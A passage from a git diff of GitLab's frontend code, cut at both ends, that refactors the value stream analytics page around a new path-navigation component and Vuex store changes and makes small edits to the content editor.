+ * the last capture group in the match.
+ *
+ * https://github.com/ueberdosis/tiptap/blob/%40tiptap/core%402.0.0-beta.75/packages/core/src/inputRules/markInputRule.ts#L11
+ */
+ match.pop();
+ return extractHrefFromMatch(match);
+};
+
+export const tiptapExtension = Link.extend({
+ addInputRules() {
+ return [
+ markInputRule(markdownLinkSyntaxInputRuleRegExp, this.type, extractHrefFromMarkdownLink),
+ markInputRule(urlSyntaxRegExp, this.type, extractHrefFromMatch),
+ ];
+ },
+}).configure({
+ openOnClick: false,
+});
+
export const serializer = defaultMarkdownSerializer.marks.link;
diff --git a/app/assets/javascripts/content_editor/services/content_editor.js b/app/assets/javascripts/content_editor/services/content_editor.js
index e2188f5aa69..29553f4c2ca 100644
--- a/app/assets/javascripts/content_editor/services/content_editor.js
+++ b/app/assets/javascripts/content_editor/services/content_editor.js
@@ -9,6 +9,13 @@ export class ContentEditor {
return this._tiptapEditor;
}
+ get empty() {
+ const doc = this.tiptapEditor?.state.doc;
+
+ // Makes sure the document has more than one empty paragraph
+ return doc.childCount === 0 || (doc.childCount === 1 && doc.child(0).childCount === 0);
+ }
+
async setSerializedContent(serializedContent) {
const { _tiptapEditor: editor, _serializer: serializer } = this;
diff --git a/app/assets/javascripts/content_editor/services/track_input_rules_and_shortcuts.js b/app/assets/javascripts/content_editor/services/track_input_rules_and_shortcuts.js
index 860e5372bc2..d26f32a7e7a 100644
--- a/app/assets/javascripts/content_editor/services/track_input_rules_and_shortcuts.js
+++ b/app/assets/javascripts/content_editor/services/track_input_rules_and_shortcuts.js
@@ -1,4 +1,4 @@
-import { mapValues, omit } from 'lodash';
+import { mapValues } from 'lodash';
import { InputRule } from 'prosemirror-inputrules';
import { ENTER_KEY, BACKSPACE_KEY } from '~/lib/utils/keys';
import Tracking from '~/tracking';
@@ -36,15 +36,16 @@ const trackInputRulesAndShortcuts = (tiptapExtension) => {
addKeyboardShortcuts() {
const shortcuts = this.parent?.() || {};
const { name } = this;
-
/**
* We don’t want to track keyboard shortcuts
* that are not deliberately executed to create
* new types of content
*/
- const withoutEnterShortcut = omit(shortcuts, [ENTER_KEY, BACKSPACE_KEY]);
- const decorated = mapValues(withoutEnterShortcut, (commandFn, shortcut) =>
- trackKeyboardShortcut(name, commandFn, shortcut),
+ const dotNotTrackKeys = [ENTER_KEY, BACKSPACE_KEY];
+ const decorated = mapValues(shortcuts, (commandFn, shortcut) =>
+ dotNotTrackKeys.includes(shortcut)
+ ? commandFn
+ : trackKeyboardShortcut(name, commandFn, shortcut),
);
return decorated;
diff --git a/app/assets/javascripts/content_editor/services/utils.js b/app/assets/javascripts/content_editor/services/utils.js
new file mode 100644
index 00000000000..cf5234bbff8
--- /dev/null
+++ b/app/assets/javascripts/content_editor/services/utils.js
@@ -0,0 +1,5 @@
+export const hasSelection = (tiptapEditor) => {
+ const { from, to } = tiptapEditor.state.selection;
+
+ return from < to;
+};
diff --git a/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js b/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js
index 8b7c93ad880..cd8212a40f9 100644
--- a/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js
+++ b/app/assets/javascripts/create_cluster/eks_cluster/store/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import { DEFAULT_REGION } from '../constants';
@@ -102,7 +102,9 @@ export const createClusterSuccess = (_, location) => {
export const createClusterError = ({ commit }, error) => {
commit(types.CREATE_CLUSTER_ERROR, error);
- createFlash(getErrorMessage(error));
+ createFlash({
+ message: getErrorMessage(error),
+ });
};
export const setRegion = ({ commit }, payload) => {
diff --git a/app/assets/javascripts/cycle_analytics/components/base.vue b/app/assets/javascripts/cycle_analytics/components/base.vue
index 11a263015e4..8492f0b73e1 100644
--- a/app/assets/javascripts/cycle_analytics/components/base.vue
+++ b/app/assets/javascripts/cycle_analytics/components/base.vue
@@ -1,7 +1,8 @@
<script>
import { GlIcon, GlEmptyState, GlLoadingIcon, GlSprintf } from '@gitlab/ui';
import Cookies from 'js-cookie';
-import { mapActions, mapState } from 'vuex';
+import { mapActions, mapState, mapGetters } from 'vuex';
+import PathNavigation from '~/cycle_analytics/components/path_navigation.vue';
import { __ } from '~/locale';
import banner from './banner.vue';
import stageCodeComponent from './stage_code_component.vue';
@@ -29,6 +30,7 @@ export default {
'stage-staging-component': stageStagingComponent,
'stage-production-component': stageComponent,
'stage-nav-item': stageNavItem,
+ PathNavigation,
},
props: {
noDataSvgPath: {
@@ -52,21 +54,33 @@ export default {
'isEmptyStage',
'selectedStage',
'selectedStageEvents',
+ 'selectedStageError',
'stages',
'summary',
'startDate',
+ 'permissions',
]),
+ ...mapGetters(['pathNavigationData']),
displayStageEvents() {
const { selectedStageEvents, isLoadingStage, isEmptyStage } = this;
return selectedStageEvents.length && !isLoadingStage && !isEmptyStage;
},
displayNotEnoughData() {
- const { selectedStage, isEmptyStage, isLoadingStage } = this;
- return selectedStage && isEmptyStage && !isLoadingStage;
+ return this.selectedStageReady && this.isEmptyStage;
},
displayNoAccess() {
- const { selectedStage } = this;
- return selectedStage && !selectedStage.isUserAllowed;
+ return this.selectedStageReady && !this.isUserAllowed(this.selectedStage.id);
+ },
+ selectedStageReady() {
+ return !this.isLoadingStage && this.selectedStage;
+ },
+ emptyStageTitle() {
+ return this.selectedStageError
+ ? this.selectedStageError
+ : __("We don't have enough data to show this stage.");
+ },
+ emptyStageText() {
+ return !this.selectedStageError ? this.selectedStage.emptyStageText : '';
},
},
methods: {
@@ -78,25 +92,18 @@ export default {
]),
handleDateSelect(startDate) {
this.setDateRange({ startDate });
- this.fetchCycleAnalyticsData();
},
- isActiveStage(stage) {
- return stage.slug === this.selectedStage.slug;
- },
- selectStage(stage) {
- if (this.selectedStage === stage) return;
-
+ onSelectStage(stage) {
this.setSelectedStage(stage);
- if (!stage.isUserAllowed) {
- return;
- }
-
- this.fetchStageData();
},
dismissOverviewDialog() {
this.isOverviewDialogDismissed = true;
Cookies.set(OVERVIEW_DIALOG_COOKIE, '1', { expires: 365 });
},
+ isUserAllowed(id) {
+ const { permissions } = this;
+ return Boolean(permissions?.[id]);
+ },
},
dayRangeOptions: [7, 30, 90],
i18n: {
@@ -106,9 +113,23 @@ export default {
</script>
<template>
<div class="cycle-analytics">
+ <path-navigation
+ v-if="selectedStageReady"
+ class="js-path-navigation gl-w-full gl-pb-2"
+ :loading="isLoading"
+ :stages="pathNavigationData"
+ :selected-stage="selectedStage"
+ :with-stage-counts="false"
+ @selected="onSelectStage"
+ />
<gl-loading-icon v-if="isLoading" size="lg" />
<div v-else class="wrapper">
- <div class="card">
+ <!--
+ We wont have access to the stage counts until we move to a default value stream
+ For now we can use the `withStageCounts` flag to ensure we don't display empty stage counts
+ Related issue: https://gitlab.com/gitlab-org/gitlab/-/issues/326705
+ -->
+ <div class="card" data-testid="vsa-stage-overview-metrics">
<div class="card-header">{{ __('Recent Project Activity') }}</div>
<div class="d-flex justify-content-between">
<div v-for="item in summary" :key="item.title" class="gl-flex-grow-1 gl-text-center">
@@ -139,40 +160,12 @@ export default {
</div>
</div>
</div>
- <div class="stage-panel-container">
- <div class="card stage-panel">
+ <div class="stage-panel-container" data-testid="vsa-stage-table">
+ <div class="card stage-panel gl-px-5">
<div class="card-header border-bottom-0">
<nav class="col-headers">
- <ul>
- <li class="stage-header pl-5">
- <span class="stage-name font-weight-bold">{{
- s__('ProjectLifecycle|Stage')
- }}</span>
- <span
- class="has-tooltip"
- data-placement="top"
- :title="__('The phase of the development lifecycle.')"
- aria-hidden="true"
- >
- <gl-icon name="question-o" class="gl-text-gray-500" />
- </span>
- </li>
- <li class="median-header">
- <span class="stage-name font-weight-bold">{{ __('Median') }}</span>
- <span
- class="has-tooltip"
- data-placement="top"
- :title="
- __(
- 'The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6.',
- )
- "
- aria-hidden="true"
- >
- <gl-icon name="question-o" class="gl-text-gray-500" />
- </span>
- </li>
- <li class="event-header pl-3">
+ <ul class="gl-display-flex gl-justify-content-space-between gl-list-style-none">
+ <li>
<span v-if="selectedStage" class="stage-name font-weight-bold">{{
selectedStage.legend ? __(selectedStage.legend) : __('Related Issues')
}}</span>
@@ -187,7 +180,7 @@ export default {
<gl-icon name="question-o" class="gl-text-gray-500" />
</span>
</li>
- <li class="total-time-header pr-5 text-right">
+ <li>
<span class="stage-name font-weight-bold">{{ __('Time') }}</span>
<span
class="has-tooltip"
@@ -201,45 +194,31 @@ export default {
</ul>
</nav>
</div>
-
<div class="stage-panel-body">
- <nav class="stage-nav">
- <ul>
- <stage-nav-item
- v-for="stage in stages"
- :key="stage.title"
- :title="stage.title"
- :is-user-allowed="stage.isUserAllowed"
- :value="stage.value"
- :is-active="isActiveStage(stage)"
- @select="selectStage(stage)"
- />
- </ul>
- </nav>
- <section class="stage-events overflow-auto">
- <gl-loading-icon v-show="isLoadingStage" size="lg" />
- <template v-if="displayNoAccess">
+ <section class="stage-events gl-overflow-auto gl-w-full">
+ <gl-loading-icon v-if="isLoadingStage" size="lg" />
+ <template v-else>
<gl-empty-state
+ v-if="displayNoAccess"
class="js-empty-state"
:title="__('You need permission.')"
:svg-path="noAccessSvgPath"
:description="__('Want to see the data? Please ask an administrator for access.')"
/>
- </template>
- <template v-else>
- <template v-if="displayNotEnoughData">
+ <template v-else>
<gl-empty-state
+ v-if="displayNotEnoughData"
class="js-empty-state"
- :description="selectedStage.emptyStageText"
+ :description="emptyStageText"
:svg-path="noDataSvgPath"
- :title="__('We don\'t have enough data to show this stage.')"
+ :title="emptyStageTitle"
/>
- </template>
- <template v-if="displayStageEvents">
<component
:is="selectedStage.component"
+ v-if="displayStageEvents"
:stage="selectedStage"
:items="selectedStageEvents"
+ data-testid="stage-table-events"
/>
</template>
</template>
diff --git a/app/assets/javascripts/cycle_analytics/components/path_navigation.vue b/app/assets/javascripts/cycle_analytics/components/path_navigation.vue
new file mode 100644
index 00000000000..c1e33f73b13
--- /dev/null
+++ b/app/assets/javascripts/cycle_analytics/components/path_navigation.vue
@@ -0,0 +1,127 @@
+<script>
+import {
+ GlPath,
+ GlPopover,
+ GlDeprecatedSkeletonLoading as GlSkeletonLoading,
+ GlSafeHtmlDirective as SafeHtml,
+} from '@gitlab/ui';
+import Tracking from '~/tracking';
+import { OVERVIEW_STAGE_ID } from '../constants';
+
+export default {
+ name: 'PathNavigation',
+ components: {
+ GlPath,
+ GlSkeletonLoading,
+ GlPopover,
+ },
+ directives: {
+ SafeHtml,
+ },
+ mixins: [Tracking.mixin()],
+ props: {
+ loading: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ stages: {
+ type: Array,
+ required: true,
+ },
+ selectedStage: {
+ type: Object,
+ required: false,
+ default: () => {},
+ },
+ withStageCounts: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ },
+ methods: {
+ showPopover({ id }) {
+ return id && id !== OVERVIEW_STAGE_ID;
+ },
+ hasStageCount({ stageCount = null }) {
+ return stageCount !== null;
+ },
+ onSelectStage($event) {
+ this.$emit('selected', $event);
+ this.track('click_path_navigation', {
+ extra: {
+ stage_id: $event.id,
+ },
+ });
+ },
+ },
+ popoverOptions: {
+ triggers: 'hover',
+ placement: 'bottom',
+ },
+};
+</script>
+<template>
+ <gl-skeleton-loading v-if="loading" :lines="2" class="h-auto pt-2 pb-1" />
+ <gl-path v-else :key="selectedStage.id" :items="stages" @selected="onSelectStage">
+ <template #default="{ pathItem, pathId }">
+ <gl-popover
+ v-if="showPopover(pathItem)"
+ v-bind="$options.popoverOptions"
+ :target="pathId"
+ :css-classes="['stage-item-popover']"
+ data-testid="stage-item-popover"
+ >
+ <template #title>{{ pathItem.title }}</template>
+ <div class="gl-px-4">
+ <div class="gl-display-flex gl-justify-content-space-between">
+ <div class="gl-pr-4 gl-pb-4">
+ {{ s__('ValueStreamEvent|Stage time (median)') }}
+ </div>
+ <div class="gl-pb-4 gl-font-weight-bold">{{ pathItem.metric }}</div>
+ </div>
+ </div>
+ <div v-if="withStageCounts" class="gl-px-4">
+ <div class="gl-display-flex gl-justify-content-space-between">
+ <div class="gl-pr-4 gl-pb-4">
+ {{ s__('ValueStreamEvent|Items in stage') }}
+ </div>
+ <div class="gl-pb-4 gl-font-weight-bold">
+ <template v-if="hasStageCount(pathItem)">{{
+ n__('%d item', '%d items', pathItem.stageCount)
+ }}</template>
+ <template v-else>-</template>
+ </div>
+ </div>
+ </div>
+ <div class="gl-px-4 gl-pt-4 gl-border-t-1 gl-border-t-solid gl-border-gray-50">
+ <div
+ v-if="pathItem.startEventHtmlDescription"
+ class="gl-display-flex gl-flex-direction-row"
+ >
+ <div class="gl-display-flex gl-flex-direction-column gl-pr-4 gl-pb-4 metric-label">
+ {{ s__('ValueStreamEvent|Start') }}
+ </div>
+ <div
+ v-safe-html="pathItem.startEventHtmlDescription"
+ class="gl-display-flex gl-flex-direction-column gl-pb-4 stage-event-description"
+ ></div>
+ </div>
+ <div
+ v-if="pathItem.endEventHtmlDescription"
+ class="gl-display-flex gl-flex-direction-row"
+ >
+ <div class="gl-display-flex gl-flex-direction-column gl-pr-4 metric-label">
+ {{ s__('ValueStreamEvent|Stop') }}
+ </div>
+ <div
+ v-safe-html="pathItem.endEventHtmlDescription"
+ class="gl-display-flex gl-flex-direction-column stage-event-description"
+ ></div>
+ </div>
+ </div>
+ </gl-popover>
+ </template>
+ </gl-path>
+</template>
diff --git a/app/assets/javascripts/cycle_analytics/constants.js b/app/assets/javascripts/cycle_analytics/constants.js
index d79de207afe..96c89049e90 100644
--- a/app/assets/javascripts/cycle_analytics/constants.js
+++ b/app/assets/javascripts/cycle_analytics/constants.js
@@ -1 +1,8 @@
export const DEFAULT_DAYS_TO_DISPLAY = 30;
+export const OVERVIEW_STAGE_ID = 'overview';
+
+export const DEFAULT_VALUE_STREAM = {
+ id: 'default',
+ slug: 'default',
+ name: 'default',
+};
diff --git a/app/assets/javascripts/cycle_analytics/index.js b/app/assets/javascripts/cycle_analytics/index.js
index 00192cc61f8..57cb220d9c9 100644
--- a/app/assets/javascripts/cycle_analytics/index.js
+++ b/app/assets/javascripts/cycle_analytics/index.js
@@ -8,10 +8,11 @@ Vue.use(Translate);
export default () => {
const store = createStore();
const el = document.querySelector('#js-cycle-analytics');
- const { noAccessSvgPath, noDataSvgPath, requestPath } = el.dataset;
+ const { noAccessSvgPath, noDataSvgPath, requestPath, fullPath } = el.dataset;
store.dispatch('initializeVsa', {
requestPath,
+ fullPath,
});
// eslint-disable-next-line no-new
@@ -24,6 +25,7 @@ export default () => {
props: {
noDataSvgPath,
noAccessSvgPath,
+ fullPath,
},
}),
});
diff --git a/app/assets/javascripts/cycle_analytics/store/actions.js b/app/assets/javascripts/cycle_analytics/store/actions.js
index fe3c6d6b3ba..faf1c37d86a 100644
--- a/app/assets/javascripts/cycle_analytics/store/actions.js
+++ b/app/assets/javascripts/cycle_analytics/store/actions.js
@@ -1,27 +1,60 @@
+import {
+ getProjectValueStreamStages,
+ getProjectValueStreams,
+ getProjectValueStreamStageData,
+ getProjectValueStreamMetrics,
+} from '~/api/analytics_api';
import createFlash from '~/flash';
-import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
-import { DEFAULT_DAYS_TO_DISPLAY } from '../constants';
+import { DEFAULT_DAYS_TO_DISPLAY, DEFAULT_VALUE_STREAM } from '../constants';
import * as types from './mutation_types';
-export const fetchCycleAnalyticsData = ({
- state: { requestPath, startDate },
- dispatch,
- commit,
-}) => {
+export const setSelectedValueStream = ({ commit, dispatch }, valueStream) => {
+ commit(types.SET_SELECTED_VALUE_STREAM, valueStream);
+ return dispatch('fetchValueStreamStages');
+};
+
+export const fetchValueStreamStages = ({ commit, state }) => {
+ const { fullPath, selectedValueStream } = state;
+ commit(types.REQUEST_VALUE_STREAM_STAGES);
+
+ return getProjectValueStreamStages(fullPath, selectedValueStream.id)
+ .then(({ data }) => commit(types.RECEIVE_VALUE_STREAM_STAGES_SUCCESS, data))
+ .catch(({ response: { status } }) => {
+ commit(types.RECEIVE_VALUE_STREAM_STAGES_ERROR, status);
+ });
+};
+
+export const receiveValueStreamsSuccess = ({ commit, dispatch }, data = []) => {
+ commit(types.RECEIVE_VALUE_STREAMS_SUCCESS, data);
+ if (data.length) {
+ const [firstStream] = data;
+ return dispatch('setSelectedValueStream', firstStream);
+ }
+ return dispatch('setSelectedValueStream', DEFAULT_VALUE_STREAM);
+};
+
+export const fetchValueStreams = ({ commit, dispatch, state }) => {
+ const { fullPath } = state;
+ commit(types.REQUEST_VALUE_STREAMS);
+
+ return getProjectValueStreams(fullPath)
+ .then(({ data }) => dispatch('receiveValueStreamsSuccess', data))
+ .then(() => dispatch('setSelectedStage'))
+ .catch(({ response: { status } }) => {
+ commit(types.RECEIVE_VALUE_STREAMS_ERROR, status);
+ });
+};
+
+export const fetchCycleAnalyticsData = ({ state: { requestPath, startDate }, commit }) => {
commit(types.REQUEST_CYCLE_ANALYTICS_DATA);
- return axios
- .get(requestPath, {
- params: { 'cycle_analytics[start_date]': startDate },
- })
+ return getProjectValueStreamMetrics(requestPath, { 'cycle_analytics[start_date]': startDate })
.then(({ data }) => commit(types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS, data))
- .then(() => dispatch('setSelectedStage'))
- .then(() => dispatch('fetchStageData'))
.catch(() => {
commit(types.RECEIVE_CYCLE_ANALYTICS_DATA_ERROR);
createFlash({
- message: __('There was an error while fetching value stream analytics data.'),
+ message: __('There was an error while fetching value stream summary data.'),
});
});
};
@@ -29,23 +62,42 @@ export const fetchCycleAnalyticsData = ({
export const fetchStageData = ({ state: { requestPath, selectedStage, startDate }, commit }) => {
commit(types.REQUEST_STAGE_DATA);
- return axios
- .get(`${requestPath}/events/${selectedStage.name}.json`, {
- params: { 'cycle_analytics[start_date]': startDate },
+ return getProjectValueStreamStageData({
+ requestPath,
+ stageId: selectedStage.id,
+ params: { 'cycle_analytics[start_date]': startDate },
+ })
+ .then(({ data }) => {
+ // when there's a query timeout, the request succeeds but the error is encoded in the response data
+ if (data?.error) {
+ commit(types.RECEIVE_STAGE_DATA_ERROR, data.error);
+ } else {
+ commit(types.RECEIVE_STAGE_DATA_SUCCESS, data);
+ }
})
- .then(({ data }) => commit(types.RECEIVE_STAGE_DATA_SUCCESS, data))
.catch(() => commit(types.RECEIVE_STAGE_DATA_ERROR));
};
-export const setSelectedStage = ({ commit, state: { stages } }, selectedStage = null) => {
+export const setSelectedStage = ({ dispatch, commit, state: { stages } }, selectedStage = null) => {
const stage = selectedStage || stages[0];
commit(types.SET_SELECTED_STAGE, stage);
+ return dispatch('fetchStageData');
+};
+
+const refetchData = (dispatch, commit) => {
+ commit(types.SET_LOADING, true);
+ return Promise.resolve()
+ .then(() => dispatch('fetchValueStreams'))
+ .then(() => dispatch('fetchCycleAnalyticsData'))
+ .finally(() => commit(types.SET_LOADING, false));
};
-export const setDateRange = ({ commit }, { startDate = DEFAULT_DAYS_TO_DISPLAY }) =>
+export const setDateRange = ({ dispatch, commit }, { startDate = DEFAULT_DAYS_TO_DISPLAY }) => {
commit(types.SET_DATE_RANGE, { startDate });
+ return refetchData(dispatch, commit);
+};
export const initializeVsa = ({ commit, dispatch }, initialData = {}) => {
commit(types.INITIALIZE_VSA, initialData);
- return dispatch('fetchCycleAnalyticsData');
+ return refetchData(dispatch, commit);
};
diff --git a/app/assets/javascripts/cycle_analytics/store/getters.js b/app/assets/javascripts/cycle_analytics/store/getters.js
new file mode 100644
index 00000000000..c60a70ef147
--- /dev/null
+++ b/app/assets/javascripts/cycle_analytics/store/getters.js
@@ -0,0 +1,10 @@
+import { transformStagesForPathNavigation, filterStagesByHiddenStatus } from '../utils';
+
+export const pathNavigationData = ({ stages, medians, stageCounts, selectedStage }) => {
+ return transformStagesForPathNavigation({
+ stages: filterStagesByHiddenStatus(stages, false),
+ medians,
+ stageCounts,
+ selectedStage,
+ });
+};
diff --git a/app/assets/javascripts/cycle_analytics/store/index.js b/app/assets/javascripts/cycle_analytics/store/index.js
index ab47538dcf5..c6ca88ea492 100644
--- a/app/assets/javascripts/cycle_analytics/store/index.js
+++ b/app/assets/javascripts/cycle_analytics/store/index.js
@@ -8,6 +8,7 @@
import Vue from 'vue';
import Vuex from 'vuex';
import * as actions from './actions';
+import * as getters from './getters';
import mutations from './mutations';
import state from './state';
@@ -16,6 +17,7 @@ Vue.use(Vuex);
export default () =>
new Vuex.Store({
actions,
+ getters,
mutations,
state,
});
diff --git a/app/assets/javascripts/cycle_analytics/store/mutation_types.js b/app/assets/javascripts/cycle_analytics/store/mutation_types.js
index 00aae49ae9f..4f3d430ec9f 100644
--- a/app/assets/javascripts/cycle_analytics/store/mutation_types.js
+++ b/app/assets/javascripts/cycle_analytics/store/mutation_types.js
@@ -1,8 +1,18 @@
export const INITIALIZE_VSA = 'INITIALIZE_VSA';
+export const SET_LOADING = 'SET_LOADING';
+export const SET_SELECTED_VALUE_STREAM = 'SET_SELECTED_VALUE_STREAM';
export const SET_SELECTED_STAGE = 'SET_SELECTED_STAGE';
export const SET_DATE_RANGE = 'SET_DATE_RANGE';
+export const REQUEST_VALUE_STREAMS = 'REQUEST_VALUE_STREAMS';
+export const RECEIVE_VALUE_STREAMS_SUCCESS = 'RECEIVE_VALUE_STREAMS_SUCCESS';
+export const RECEIVE_VALUE_STREAMS_ERROR = 'RECEIVE_VALUE_STREAMS_ERROR';
+
+export const REQUEST_VALUE_STREAM_STAGES = 'REQUEST_VALUE_STREAM_STAGES';
+export const RECEIVE_VALUE_STREAM_STAGES_SUCCESS = 'RECEIVE_VALUE_STREAM_STAGES_SUCCESS';
+export const RECEIVE_VALUE_STREAM_STAGES_ERROR = 'RECEIVE_VALUE_STREAM_STAGES_ERROR';
+
export const REQUEST_CYCLE_ANALYTICS_DATA = 'REQUEST_CYCLE_ANALYTICS_DATA';
export const RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS = 'RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS';
export const RECEIVE_CYCLE_ANALYTICS_DATA_ERROR = 'RECEIVE_CYCLE_ANALYTICS_DATA_ERROR';
diff --git a/app/assets/javascripts/cycle_analytics/store/mutations.js b/app/assets/javascripts/cycle_analytics/store/mutations.js
index 8fd5c78339a..0ae80116cd2 100644
--- a/app/assets/javascripts/cycle_analytics/store/mutations.js
+++ b/app/assets/javascripts/cycle_analytics/store/mutations.js
@@ -1,33 +1,61 @@
-import { decorateData, decorateEvents } from '../utils';
+import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { decorateData, decorateEvents, formatMedianValues } from '../utils';
import * as types from './mutation_types';
export default {
- [types.INITIALIZE_VSA](state, { requestPath }) {
+ [types.INITIALIZE_VSA](state, { requestPath, fullPath }) {
state.requestPath = requestPath;
+ state.fullPath = fullPath;
+ },
+ [types.SET_LOADING](state, loadingState) {
+ state.isLoading = loadingState;
+ },
+ [types.SET_SELECTED_VALUE_STREAM](state, selectedValueStream = {}) {
+ state.selectedValueStream = convertObjectPropsToCamelCase(selectedValueStream, { deep: true });
},
[types.SET_SELECTED_STAGE](state, stage) {
- state.isLoadingStage = true;
state.selectedStage = stage;
- state.isLoadingStage = false;
},
[types.SET_DATE_RANGE](state, { startDate }) {
state.startDate = startDate;
},
+ [types.REQUEST_VALUE_STREAMS](state) {
+ state.valueStreams = [];
+ },
+ [types.RECEIVE_VALUE_STREAMS_SUCCESS](state, valueStreams = []) {
+ state.valueStreams = valueStreams;
+ },
+ [types.RECEIVE_VALUE_STREAMS_ERROR](state) {
+ state.valueStreams = [];
+ },
+ [types.REQUEST_VALUE_STREAM_STAGES](state) {
+ state.stages = [];
+ },
+ [types.RECEIVE_VALUE_STREAM_STAGES_SUCCESS](state, { stages = [] }) {
+ state.stages = stages.map((s) => ({
+ ...convertObjectPropsToCamelCase(s, { deep: true }),
+ // NOTE: we set the component type here to match the current behaviour
+ // this can be removed when we migrate to the update stage table
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/326704
+ component: `stage-${s.id}-component`,
+ }));
+ },
+ [types.RECEIVE_VALUE_STREAM_STAGES_ERROR](state) {
+ state.stages = [];
+ },
[types.REQUEST_CYCLE_ANALYTICS_DATA](state) {
state.isLoading = true;
- state.stages = [];
state.hasError = false;
},
[types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS](state, data) {
- state.isLoading = false;
- const { stages, summary } = decorateData(data);
- state.stages = stages;
+ const { summary, medians } = decorateData(data);
+ state.permissions = data.permissions;
state.summary = summary;
+ state.medians = formatMedianValues(medians);
state.hasError = false;
},
[types.RECEIVE_CYCLE_ANALYTICS_DATA_ERROR](state) {
state.isLoading = false;
- state.stages = [];
state.hasError = true;
},
[types.REQUEST_STAGE_DATA](state) {
@@ -43,10 +71,11 @@ export default {
state.selectedStageEvents = decorateEvents(events, selectedStage);
state.hasError = false;
},
- [types.RECEIVE_STAGE_DATA_ERROR](state) {
+ [types.RECEIVE_STAGE_DATA_ERROR](state, error) {
state.isLoadingStage = false;
state.isEmptyStage = true;
state.selectedStageEvents = [];
state.hasError = true;
+ state.selectedStageError = error;
},
};
diff --git a/app/assets/javascripts/cycle_analytics/store/state.js b/app/assets/javascripts/cycle_analytics/store/state.js
index 5db4e1878a9..02f953d9517 100644
--- a/app/assets/javascripts/cycle_analytics/store/state.js
+++ b/app/assets/javascripts/cycle_analytics/store/state.js
@@ -2,16 +2,21 @@ import { DEFAULT_DAYS_TO_DISPLAY } from '../constants';
export default () => ({
requestPath: '',
+ fullPath: '',
startDate: DEFAULT_DAYS_TO_DISPLAY,
stages: [],
summary: [],
analytics: [],
stats: [],
+ valueStreams: [],
+ selectedValueStream: {},
selectedStage: {},
selectedStageEvents: [],
+ selectedStageError: '',
medians: {},
hasError: false,
isLoading: false,
isLoadingStage: false,
isEmptyStage: false,
+ permissions: {},
});
diff --git a/app/assets/javascripts/cycle_analytics/utils.js b/app/assets/javascripts/cycle_analytics/utils.js
index 3afe4b021be..40ad7d8b2fc 100644
--- a/app/assets/javascripts/cycle_analytics/utils.js
+++ b/app/assets/javascripts/cycle_analytics/utils.js
@@ -1,29 +1,10 @@
-import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
-import { dasherize } from '~/lib/utils/text_utility';
-import { __ } from '../locale';
+import { unescape } from 'lodash';
+import { sanitize } from '~/lib/dompurify';
+import { roundToNearestHalf, convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { parseSeconds } from '~/lib/utils/datetime_utility';
+import { s__, sprintf } from '../locale';
import DEFAULT_EVENT_OBJECTS from './default_event_objects';
-const EMPTY_STAGE_TEXTS = {
- issue: __(
- 'The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage.',
- ),
- plan: __(
- 'The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit.',
- ),
- code: __(
- 'The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request.',
- ),
- test: __(
- 'The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running.',
- ),
- review: __(
- 'The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request.',
- ),
- staging: __(
- 'The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time.',
- ),
-};
-
/**
* These `decorate` methods will be removed when me migrate to the
* new table layout https://gitlab.com/gitlab-org/gitlab/-/issues/326704
@@ -40,24 +21,97 @@ const mapToEvent = (event, stage) => {
export const decorateEvents = (events, stage) => events.map((event) => mapToEvent(event, stage));
-const mapToStage = (permissions, item) => {
- const slug = dasherize(item.name.toLowerCase());
- return {
- ...item,
- slug,
- active: false,
- isUserAllowed: permissions[slug],
- emptyStageText: EMPTY_STAGE_TEXTS[slug],
- component: `stage-${slug}-component`,
- };
-};
-
const mapToSummary = ({ value, ...rest }) => ({ ...rest, value: value || '-' });
+const mapToMedians = ({ name: id, value }) => ({ id, value });
export const decorateData = (data = {}) => {
- const { permissions, stats, summary } = data;
+ const { stats: stages, summary } = data;
return {
- stages: stats?.map((item) => mapToStage(permissions, item)) || [],
summary: summary?.map((item) => mapToSummary(item)) || [],
+ medians: stages?.map((item) => mapToMedians(item)) || [],
};
};
+
+/**
+ * Takes the stages and median data, combined with the selected stage, to build an
+ * array which is formatted to proivde the data required for the path navigation.
+ *
+ * @param {Array} stages - The stages available to the group / project
+ * @param {Object} medians - The median values for the stages available to the group / project
+ * @param {Object} stageCounts - The total item count for the stages available
+ * @param {Object} selectedStage - The currently selected stage
+ * @returns {Array} An array of stages formatted with data required for the path navigation
+ */
+export const transformStagesForPathNavigation = ({
+ stages,
+ medians,
+ stageCounts = {},
+ selectedStage,
+}) => {
+ const formattedStages = stages.map((stage) => {
+ return {
+ metric: medians[stage?.id],
+ selected: stage?.id === selectedStage?.id, // Also could null === null cause an issue here?
+ stageCount: stageCounts && stageCounts[stage?.id],
+ icon: null,
+ ...stage,
+ };
+ });
+
+ return formattedStages;
+};
+
+export const timeSummaryForPathNavigation = ({ seconds, hours, days, minutes, weeks, months }) => {
+ if (months) {
+ return sprintf(s__('ValueStreamAnalytics|%{value}M'), {
+ value: roundToNearestHalf(months),
+ });
+ } else if (weeks) {
+ return sprintf(s__('ValueStreamAnalytics|%{value}w'), {
+ value: roundToNearestHalf(weeks),
+ });
+ } else if (days) {
